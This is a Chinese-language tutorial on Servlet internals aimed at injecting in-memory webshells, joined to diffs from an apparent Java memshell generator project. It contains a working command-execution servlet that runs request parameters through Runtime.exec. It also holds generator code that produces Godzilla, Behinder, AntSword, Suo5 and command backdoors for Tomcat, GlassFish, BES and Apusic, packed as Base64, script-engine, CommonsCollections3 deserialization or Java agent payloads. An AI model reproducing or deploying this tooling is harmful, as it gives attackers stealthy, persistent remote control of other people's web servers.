目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
## ServletContext
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
## HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
```java
@WebServlet(/foo)
public class CalculatorServlet extends HttpServlet{
//...
}
```
```xml
<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>
```
## ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
```java
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}
```
@@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.reajason.javaweb.maven</groupId>
<artifactId>memshell-party-maven-example</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.0.4</version>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,50 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class Godzilla {
public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
}
}
@@ -0,0 +1,52 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class GodzillaAgent {
public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
+25 -34
View File
@@ -1,64 +1,54 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'io.github.reajason'
description = "MemShell Generator for Java"
version = rootProject.version
// 使 JDK17
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
group = 'com.reajason.javaweb.memsell'
version = rootProject.version
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
dependencies {
implementation project(":common")
implementation project(":memshell-party-common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api'
implementation 'xalan:xalan'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2'
implementation 'org.java-websocket:Java-WebSocket'
implementation 'com.fasterxml.jackson.core:jackson-databind'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
@@ -68,4 +58,5 @@ dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
}
@@ -1,81 +0,0 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Suo5)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
Suo5Config suo5Config = Suo5Config.builder()
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server");
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
}
@SneakyThrows
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getInstance().pack(generateResult);
}
return null;
}
}
@@ -1,107 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2024/12/7
*/
public abstract class AbstractShell {
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
case Behinder -> getBehinderShellMap().keySet().stream().toList();
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
case Suo5 -> getSuo5ShellMap();
case AntSword -> getAntSwordShellMap();
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
};
return shellMap.get(shellType);
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
}
@@ -1,77 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class ApusicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class BesShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
}
@@ -1,104 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
